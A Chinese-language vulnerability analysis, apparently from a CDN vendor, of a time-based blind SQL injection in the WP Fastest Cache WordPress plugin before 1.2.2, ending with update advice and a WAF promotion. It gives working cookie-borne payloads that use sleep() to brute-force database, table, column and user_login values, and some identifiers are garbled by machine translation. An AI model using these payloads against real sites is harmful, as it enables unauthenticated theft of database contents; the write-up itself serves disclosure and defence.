WP Fastest Cache 是一款 WordPress 缓存插件,旨在加速页面加载并增强访客体验,目标是提高网站在搜索引擎结果页面(尤其是 Google)上的排名。据 WordPress.org 称,有超过一百万个网站使用该插件。问题是什么?WP Fastest Cache 1.2.2 之前的版本容易受到 SQL 注入攻击,这可能允许未经身份验证的攻击者读取网站的数据库内容,从而导致巨大的隐私和安全问题。
漏洞分析
该漏洞发生在插件启动缓存系统时,具体来说 wpFastestCache.php
,缓存函数位于其中。观察到 缓存()
功能包括“inc/cache.php
”和 WpFastestCache创建缓存
类来执行它的 创建缓存()
功能。
继续追踪 创建缓存()
功能 inc/cache.php
,它调用 是用户管理员()
函数来检查用户是否是管理员用户。进一步研究 是用户管理员()
函数,发现该函数遍历 cookie 以匹配“wordpress_logged_in”键,并提取第一个匹配的字段作为 用户名
变量,然后与 $wpdb
全局变量在网站的数据库中执行查询操作。
我们可以看到 用户名
在SQL语句中作为参数使用,但是没有做任何检查和过滤措施,核心SQL语句如下:
“从`$wpdb->users`中选择`$wpdb->users`.`ID`,`$wpdb->usermeta`.`meta_key`,`$wpdb->usermeta`.`meta_value`,在`$wpdb->users`内部连接`$wpdb->usermeta`上,`$wpdb->usermeta`.`user_login` = \"$username\" AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND $wpdb->usermeta`.`meta_value` = \"10\" AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;”
这主要在 wp_users 和 wp_usermeta 表之间进行内连接查询,以搜索包含相关列的行。代码复制匹配的 $cookie_值,$用户名
以及 获取变量
在页面上显示该信息。
到目前为止,很明显的是 用户名
是从 cookie 中获取的,并且由用户控制。此外, 用户名
在数据库执行时被当作参数使用,没有经过任何形式的检查或过滤。用户可能会将恶意代码与上述 SQL 语句连接起来,从而对网站造成重大损害。
漏洞概述
根据以上分析,通过SQL语句的关联,发现该注入点并没有直接重复应用程序的任何错误信息或查询结果,因此是一个基于时间的盲注。通过关闭双引号,然后添加一个 睡眠(5)
延时函数,可以判断SQL语句是否执行成功。
我们观察到,当语句成功连接时,会导致程序执行延迟 5 秒。连接并执行的语句如下。
数据库访问
之后,就可以依靠延迟注入机制来确定数据库名称的长度。使用的语句是 root" AND if(length(database())=9,sleep(2),1) 且 "1"="1
。 这里, 根”
和 "1"="1
用于关闭前后双引号,以及 if(表达式1,表达式2,表达式3)
意味着如果 表达式1
是真的,那么 如果()
返回 表达式2
,否则返回 表达式3
. 在这种情况下,如果数据库的长度 长度(数据库())=9
是真的,那么 如果()
返回 睡眠(2)
导致2秒的延迟,否则返回1。通过这种方式执行,可以推断出当前数据库的长度。
下一步是确定数据库名称的组成。使用的语句是 root" AND if(mid(database(),1,1)="w",sleep(1),1) 和 "1"="1
。 相似地, 根”
和 "1"="1
用于关闭原来的双引号,并且 睡眠(1)
导致程序延迟 1 秒执行。该函数 中期(数据库(,1,1)=“w”
评估数据库的第一个字符是否为“w”。通过使用 蛮力攻击 方法,数据库的每个字符都可以推断出拼写“WordPress”。
数据库表
下一步是确定数据库中的表。使用的语句是 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),1,1)="w", sleep(5),1) and "1"="1.
这意味着从 信息架构
数据库并使用 中()
函数提取其第一个字符,然后使用 如果()
检查第一个字符是否为“w”。通过这种方法,可以暴力破解WordPress数据库中各个表的名称。
第二个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),2,1)="p", sleep(5),1) and "1"="1
第三个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),3,1)="_", sleep(5),1) and "1"="1
…最终,第一个表名 wp_termmeta
可以被暴力破解。
类似地,通过更改 信息架构
数据库中的“wordpress”表,其他表可以被暴力破解。
WordPress中第二张表第一个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),1,1)="w", sleep(5),1) and "1"="1
WordPress中第二张表第二个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),2,1)="p", sleep(5),1) and "1"="1
… WordPress 中第三个表的第一个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),1,1)="w", sleep(5),1) and "1"="1
WordPress中第三个表第二个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),2,1)="w", sleep(5),1) and "1"="1
...基于此,WordPress 数据库中的所有表都可以被暴力破解。
获取数据库中的所有表后,下一步是使用以下语句强制执行表中的列 root” AND if(mid((select column_name from information_schema.columns where table_name = 'wp_users' limit 1),1,1)="I", sleep(5),1) and "1"="1
。这涉及查询第一列 wp_users
在里面 信息架构
数据库并使用 mid() 函数提取其第一个字符,然后使用 如果()
检查这个字符是否是“I”。同样,这种方法也可以用来暴力破解表中的列名。
获取表中的所有列名后,下一步是使用语句强制获取表中列的值 root” AND if(mid((select user_login from wp_users limit 1),1,1)="r", sleep(5),1) and "1"="1
。这意味着查询 用户登录
字段中的 wp_users
表并使用 中()
函数提取其第一个字符,然后使用 如果()
检查这个字符是否为“r”。与上面类似,这种方法可以用来暴力破解表中每个列名的值。
SQL 注入威胁对 WordPress 网站有多普遍?
SQL 注入攻击是 WordPress 网站普遍存在的威胁,尤其是那些使用存在漏洞的插件或主题的网站,正如我们上面以 WP Fastest Cache 插件为例所探讨的那样。
为了降低 SQL 注入攻击的风险,WordPress 网站所有者应遵循安全最佳实践,例如保持软件更新、使用信誉良好的插件和主题、实施安全插件或防火墙以及定期备份网站数据。
到目前为止,解决本指南中强调的问题的最有效方法是将 WP Fastest Cache 升级到最新版本。我们的分析发现,只有 1.2.2 之前的 WP Fastest Cache 版本存在漏洞,这意味着更新插件是缓解此问题的最有效方法。
使用 CDNetworks 保护您的 WordPress 网站
CDNetworks 的 WAF 解决方案可以在安全漏洞被利用之前对其进行修补,从而消除 1.2.2 版之前的 WP Fastest Cache WordPress 插件中存在的 SQL 注入威胁等漏洞。
CDNetworks 基于云的 WAF 是一种基于云的解决方案,可以防止此漏洞的利用,并不断探索和分析其他恶意攻击方法。